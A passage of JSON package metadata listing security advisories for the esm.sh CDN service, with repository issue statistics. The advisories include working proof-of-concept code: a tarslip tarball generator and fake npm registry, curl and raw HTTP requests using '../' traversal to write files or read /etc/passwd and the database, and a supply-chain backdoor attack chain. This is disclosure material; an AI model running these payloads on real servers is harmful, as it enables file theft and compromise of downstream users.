...)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-11-19T20:31:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp","https://nvd.nist.gov/vuln/detail/CVE-2025-65026","https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c","https://github.com/advisories/GHSA-hcpf-qv9m-vfgp"],"source_kind":"github","identifiers":["GHSA-hcpf-qv9m-vfgp","CVE-2025-65026"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-11-19T21:00:08.063Z","updated_at":"2026-10-12T12:08:38.115Z","epss_percentage":0.0048,"epss_percentile":0.39531,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oY3BmLXF2OW0tdmZncM4ABOsK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oY3BmLXF2OW0tdmZncM4ABOsK","packages":[{"ecosystem":"go","package_name":"github.com/esm-dev/esm.sh","versions":[{"first_patched_version":"0.0.0-20251118065157-87d2f6497574","vulnerable_version_range":"\u003c 0.0.0-20251118065157-87d2f6497574"}],"purl":"pkg:go/github.com%2Fesm-dev%2Fesm.sh"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oY3BmLXF2OW0tdmZncM4ABOsK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oM213LTRmMjMtZ3dwd84ABOsJ","url":"https://github.com/advisories/GHSA-h3mw-4f23-gwpw","title":"esm.sh CDN service has arbitrary file write via tarslip","description":"### Summary\nThe esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction.  \nAn attacker can craft a malicious NPM package containing specially crafted file paths (e.g., `package/../../tmp/evil.js`).  \nWhen esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory.\n\nUploading files containing `../` in the path is not allowed on official registries (npm, GitHub), but the `X-Npmrc` header allows specifying any arbitrary registry.  \nBy setting the registry to an attacker-controlled server via the `X-Npmrc` header, this vulnerability can be triggered.\n\n### Details\n**file:** `server/npmrc.go`  \n**line:** 552-567\n\n```go\nfunc extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) {\n    \n    pkgDir := path.Join(installDir, \"node_modules\", pkgName)\n    \n    tr := tar.NewReader(unziped)\n    for {\n        h, err := tr.Next()\n        // ...\n        \n        // Strip tarball root directory\n        _, name := utils.SplitByFirstByte(h.Name, '/')  // \"package/../../tmp/evil\" → \"../../tmp/evil\"\n        filename := path.Join(pkgDir, name)             // ← No validation\n        \n        if h.Typeflag != tar.TypeReg {\n            continue \n        }\n        \n        // Extension filtering\n        extname := path.Ext(filename)\n        if !(extname != \"\" \u0026\u0026 (allowed_extensions)) {\n            continue  // Only extract .js, .css, .json, etc.\n        }\n        \n        ensureDir(path.Dir(filename))\n        f, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)\n        // ← File created without path validation!\n        // ...\n    }\n}\n```\nThe code uses `path.Join(pkgDir, name)`, which normalizes the path and allows sequences like `../../` to escape the intended package directory.\n\n```\npkgDir: /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg\nname:   ../../../../../../tmp/pyozzi.js\nresult:   /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg/../../../../../../tmp/pyozzi.js\n        → /tmp/pyozzi.js  (path traversal)\n```\n\n### PoC\n**Test On**\n- esm.sh Official Docker Image (latest version)\n- python 3.11\n- flask (for attacker registry server)\n\n### Step 1. Create Malicious tarball file\n```python\n#!/usr/bin/env python3\n\"\"\"\nMalicious Tarball Generator for esm.sh Path Traversal\nCreates tarball with path traversal payloads\n\"\"\"\n\nimport tarfile\nimport io,os\nimport json\nfrom datetime import datetime\n\ndef create_malicious_tarball(package_name=\"test-tarslip\"):\n    \n    # PoC file Content\n    poc_payload = b\"\"\"// Path Traversal PoC\n    // This file was created via tarslip attack\n    // Location: /tmp/pyozzi.js\n\n    console.log('[!!!] Path Traversal Successful!');\n    console.log('Package: %s');\n    console.log('Researcher: pyozzi');\n\n    module.exports = {\n        poc: true,\n        vulnerability: 'CWE-22 Path Traversal',\n        package: '%s'\n    };\n    \"\"\" % (package_name.encode(), package_name.encode())\n    \n    files = {\n        \"package/index.js\": b\"module.exports = { version: '1.0.0', test: true };\",\n        \"package/package.json\": json.dumps({\n            \"name\": package_name,\n            \"version\": \"1.0.0\",\n            \"description\": \"Test package for security research\",\n            \"main\": \"index.js\",\n            \"keywords\": [\"test\", \"security\", \"research\"],\n            \"author\": \"Security Researcher\",\n            \"license\": \"MIT\"\n        }, indent=2).encode(),\n        \n        \"package/../../../../../../../../../tmp/pyozzi.js\": poc_payload,\n    }\n    \n    # Create Tarball\n    \n    tarball_name = f\"{package_name}-1.0.0.tgz\"\n    \n    print(\"Creating tarball with payloads:\")\n    print()\n    \n    with tarfile.open(tarball_name, \"w:gz\") as tar:\n        for name, content in files.items():\n            info = tarfile.TarInfo(name=name)\n            info.size = len(content)\n            info.mode = 0o755\n            info.mtime = int(datetime.now().timestamp())\n            tar.addfile(info, io.BytesIO(content))\n\n    print(f\"File: {tarball_name}\")\n    print(f\"Size: {os.path.getsize(tarball_name)} bytes\")\n\n    # Check Tarball Content\n    print(\"Tarball contents:\")\n    with tarfile.open(tarball_name, \"r:gz\") as tar:\n        for member in tar.getmembers():\n            marker = \"\u003e\u003e \" if \"../\" in member.name else \"   \"\n            mode = oct(member.mode)[-3:]\n            print(f\"{marker}{member.name} (mode: {mode})\")\n\nif __name__ == '__main__':\n    create_malicious_tarball()\n```\n\n**output:**\n```bash\n $ python create_tarball.py\nCreating tarball with payloads:\n\nFile: test-tarslip-1.0.0.tgz\nSize: 545 bytes\nTarball contents:\n   package/index.js (mode: 755)\n   package/package.json (mode: 755)\n\u003e\u003e package/../../../../../../../../../tmp/pyozzi.js (mode: 755)\n```\n\n### Step 2. Run Fake Registry Server\n```python\n# fake-npm-registry.py\nfrom flask import Flask, jsonify, send_file\n\napp = Flask(__name__)\n\nMALICIOUS_TARBALL = \"/tmp/test-tarslip-1.0.0.tgz\" # HERE MALICIOUS TAR PATH\nREGISTRY_URL = \"http://host.docker.internal:9999\" # HERE FAKE REGISTRY SERVER\n\n@app.route('/\u003cpackage\u003e')\ndef get_metadata(package):\n    return jsonify({\n        \"name\": package,\n        \"versions\": {\n            \"1.0.0\": {\n                \"name\": package,\n                \"version\": \"1.0.0\",\n                \"dist\": {\n                    \"tarball\": f\"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz\"\n                }\n            }\n        },\n        \"dist-tags\": {\"latest\": \"1.0.0\"}\n    })\n\n@app.route('/\u003cpackage\u003e/-/\u003cfilename\u003e')\ndef get_tarball(package, filename):\n    return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=9999)\n```\n\n```bash\npython3 fake-npm-registry.py\n```\n\n### Step 3. Request Malicious Package with X-Npmrc Header\n```bash\ncurl \"http://localhost:8080/test-tarslip@1.0.0\" \\\n  -H 'X-Npmrc: {\"registry\":\"http://host.docker.internal:9999/\"}'\n```\n\n### Step 4. Check Path Traversal\n```bash\ndocker exec esm-test cat /tmp/pyozzi.js\n\n# ouput:\n// Path Traversal PoC\n    // This file was created via tarslip attack\n    // Location: /tmp/pyozzi.js\n\n    console.log('[!!!] Path Traversal Successful!');\n    console.log('Package: test-tarslip');\n    console.log('Researcher: pyozzi');\n\n    module.exports = {\n        poc: true,\n        vulnerability: 'CWE-22 Path Traversal',\n        package: 'test-tarslip'\n    };\n...\n```\n\n### Impact\nThis vulnerability enables large-scale remote code execution on end-user endpoints through supply chain attacks. The path traversal vulnerability allows attackers to overwrite package resources stored in esm.sh's cache. Package lists and file paths can be discovered through esm.sh's REST API endpoints. By overwriting these resource files with malicious code, arbitrary code execution occurs on all endpoints that subsequently import the compromised packages.\n\n**Attack Chain:**\n1. Attacker identifies popular packages and their cached build file locations via API enumeration\n2. Uses path traversal to overwrite cached build files (e.g., `/esm/storage/modules/react@18.3.1/es2022/react.mjs`)\n3. Injects malicious code into the build files\n4. Any application importing these packages receives the backdoored version\n5. Malicious code executes on victim endpoints (browsers, Electron apps, Deno applications)\n\n**Impact Scale:**\n- Affects all downstream users of compromised packages\n- Can target specific frameworks (React, Vue, etc.) used by thousands of applications\n- Enables XSS in browsers, RCE in Electron applications\n- Difficult to detect as traffic appears legitimate\n\n### Patch\n1. Path validation is required when unpacking a tar file.\n2. `X-Npmrc` whitelist logic is required.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-11-19T20:30:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw","https://nvd.nist.gov/vuln/detail/CVE-2025-65025","https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16","https://github.com/advisories/GHSA-h3mw-4f23-gwpw"],"source_kind":"github","identifiers":["GHSA-h3mw-4f23-gwpw","CVE-2025-65025"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-11-19T21:00:08.063Z","updated_at":"2026-10-16T06:06:15.267Z","epss_percentage":0.00533,"epss_percentile":0.43618,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oM213LTRmMjMtZ3dwd84ABOsJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oM213LTRmMjMtZ3dwd84ABOsJ","packages":[{"ecosystem":"go","package_name":"github.com/esm-dev/esm.sh","versions":[{"first_patched_version":"0.0.0-20251117232647-9d77b88c3207","vulnerable_version_range":"\u003c 0.0.0-20251117232647-9d77b88c3207"}],"purl":"pkg:go/github.com%2Fesm-dev%2Fesm.sh"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oM213LTRmMjMtZ3dwd84ABOsJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nMmg1LWN2dnItN2dtd84ABMT2","url":"https://github.com/advisories/GHSA-g2h5-cvvr-7gmw","title":"esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header","description":"## Summary\n\nA path-traversal flaw in the handling of the `X-Zone-Id` HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying `../` sequences in `X-Zone-Id` causes files to be written to arbitrary directories (example observed: `~/.esmd/modules/transform/\u003cid\u003e/` instead of `~/.esmd/storage/modules/transform`).\n\n**Severity:** Medium\n\n**Component / Endpoint:** \n\n`POST /transform` — handling of `X-Zone-Id` header\n\nThe vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411 \n\n**Impact:** Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.\n\n---\n\n## Proof of Concept (POC)\n\nRequest (attacker-supplied `X-Zone-Id` contains path traversal):\n\n```\nPOST /transform HTTP/1.1\nHost: localhost:8888\nUser-Agent: Den/8.7.1\nAccept: */*\nConnection: keep-alive\nReferer: http://localhost:9999/\nContent-Type: application/json\nX-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/\nContent-Length: 325\n\n{\n  \"filename\": \"example2.js\",\n  \"lang\": \"js\",\n  \"code\": \"console.log('hello');\",\n  \"importMap\": {\n    \"imports\": {\n      \"react\": \"https://esm.sh/react\",\n      \"react-dom\": \"https://esm.sh/react-dom\"\n    }\n  },\n  \"jsxImportSource\": \"react\",\n  \"target\": \"es2022\",\n  \"sourceMap\": \"external\",\n  \"minify\": true\n}\n```\n\u003cimg width=\"2496\" height=\"1214\" alt=\"Screenshot 2025-09-16 at 21 40 57\" src=\"https://github.com/user-attachments/assets/f878c3f0-5d7d-410c-97ac-20116f5496db\" /\u003e\n\n\nObserved result: file written to `~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js` instead of the intended `~/.esmd/storage/modules/transform/`.\n\nThis can be trigger with another path traversal request below\n\n```\nGET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1\nHost: localhost:8888\nUser-Agent: localhost\nAccept: */*\nConnection: keep-alive\nX-Zone-Id: ../\nReferer: http://localhost:9999/\n\n```\n\u003cimg width=\"2516\" height=\"710\" alt=\"Screenshot 2025-09-16 at 21 37 07\" src=\"https://github.com/user-attachments/assets/1fcfbed3-c1d2-4093-82d8-4afda225c685\" /\u003e\n\n---\n\n## Remediation\n\nSimply remove any .. in the `X-Zone-Id` header before actually process the file.\n\n## Credits\n\n- [Ai Ho (Jessie)](https://github.com/j3ssie)\n- [CL Yang](https://github.com/A11riseforme)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-09-17T19:03:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-g2h5-cvvr-7gmw","https://nvd.nist.gov/vuln/detail/CVE-2025-59342","https://github.com/esm-dev/esm.sh/commit/833a29f42aeb0acbd7089a71be11dd0a292d3151","https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116","https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411","https://pkg.go.dev/vuln/GO-2025-3967","https://github.com/advisories/GHSA-g2h5-cvvr-7gmw"],"source_kind":"github","identifiers":["GHSA-g2h5-cvvr-7gmw","CVE-2025-59342"],"repository_url":"https://github.com/esm-dev/esm.sh","blast_radius":1.0,"created_at":"2025-09-17T21:11:22.534Z","updated_at":"2026-10-12T12:08:00.397Z","epss_percentage":0.03006,"epss_percentile":0.86941,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nMmg1LWN2dnItN2dtd84ABMT2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nMmg1LWN2dnItN2dtd84ABMT2","packages":[{"ecosystem":"go","package_name":"github.com/esm-dev/esm.sh","versions":[{"first_patched_version":"136.1","vulnerable_version_range":"\u003c= 136"}],"purl":"pkg:go/github.com%2Fesm-dev%2Fesm.sh"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nMmg1LWN2dnItN2dtd84ABMT2/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00OXB2LWd3eHAtNTMycs4ABMT1","url":"https://github.com/advisories/GHSA-49pv-gwxp-532r","title":"esm.sh has File Inclusion issue","description":"## Summary\n\nA Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).\n\n**Severity:** High — LFI can expose secrets, configuration files, credentials, or enable further compromise.\n**Impact:** reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.\n\nVulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168\n\n---\n\n## Proof of Concept\n\n1. Using this default config file that I copy from the repo, the server is running at  `http://localhost:9999` with this command `go run server/esmd/main.go --config=config.json`\n\n\n```json\n{\n  \"port\": 9999,\n  \"npmRegistry\": \"https://registry.npmjs.org/\",\n  \"npmToken\": \"******\"\n}\n\n```\n\n2. Trigger the LFI vulnerability by sending this command below to read a local file\n\n```bash\n# read /etc/passwd\ncurl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1\u0026module=1'\n\n# or read the database esm.db file\ncurl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1\u0026module=1'\n```\n\n\u003cimg width=\"3338\" height=\"1906\" alt=\"poc-image\" src=\"https://github.com/user-attachments/assets/f3721e5d-a09c-4227-960a-35279ff52811\" /\u003e\n\n\n---\n\n## Remediation\n\nSimply remove any `..` in the URL path before actually process the file. See more details in [this guide](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n## Credits\n\n- [Ai Ho (Jessie)](https://github.com/j3ssie)\n- [CL Yang](https://github.com/A11riseforme)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-09-17T18:39:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r","https://nvd.nist.gov/vuln/detail/CVE-2025-59341","https://github.com/esm-dev/esm.sh/commit/492de92850dd4d350c8b299af541f87541e58a45","https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168","https://pkg.go.dev/vuln/GO-2025-3962","https://github.com/advisories/GHSA-49pv-gwxp-532r"],"source_kind":"github","identifiers":["GHSA-49pv-gwxp-532r","CVE-2025-59341"],"repository_url":"https://github.com/esm-dev/esm.sh","blast_radius":1.0,"created_at":"2025-09-17T19:09:45.216Z","updated_at":"2026-10-12T12:09:17.666Z","epss_percentage":0.01636,"epss_percentile":0.75504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00OXB2LWd3eHAtNTMycs4ABMT1","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00OXB2LWd3eHAtNTMycs4ABMT1","packages":[{"ecosystem":"go","package_name":"github.com/esm-dev/esm.sh","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 136"}],"purl":"pkg:go/github.com%2Fesm-dev%2Fesm.sh"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00OXB2LWd3eHAtNTMycs4ABMT1/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/esm-dev/esm.sh","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/esm-dev/esm.sh","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/esm-dev/esm.sh/dependencies","status":null,"funding_links":["https://github.com/sponsors/esm-dev","https://opencollective.com/esm"],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-14T12:00:12.054Z","issues_count":490,"pull_requests_count":372,"avg_time_to_close_issue":13201877.75,"avg_time_to_close_pull_request":159149.63896848136,"issues_closed_count":256,"pull_requests_closed_count":349,"pull_request_authors_count":42,"issue_authors_count":337,"avg_comments_per_issue":2.1530612244897958,"avg_comments_per_pull_request":0.34408602150537637,"merged_pull_requests_count":329,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":24,"past_year_pull_requests_count":46,"past_year_avg_time_to_close_issue":551072.2857142857,"past_year_avg_time_to_close_pull_request":98529.65909090909,"past_year_issues_closed_count":14,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":5,"past_year_issue_authors_count":22,"past_year_avg_comments_per_issue":1.4166666666666667,"past_year_avg_comments_per_pull_request":0.2391304347826087,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":40,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/issues","maintainers":[{"login":"ije","count":328,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ije"},{"login":"Justinidlerz","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Justinidlerz"},{"login":"jimisaacs","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jimisaacs"},{"login":"leandrohstein","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/leandrohstein"}],"active_maintainers":[{"login":"ije","count":40,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ije"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fesm-dev%2Fesm.sh/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fesm-dev%2Fesm.sh/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fesm-dev%2Fesm.sh/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fesm-dev%2Fesm.sh/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fesm-dev%2Fesm.sh/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fesm-dev%2Fesm.sh/codemeta","maintainers":[]}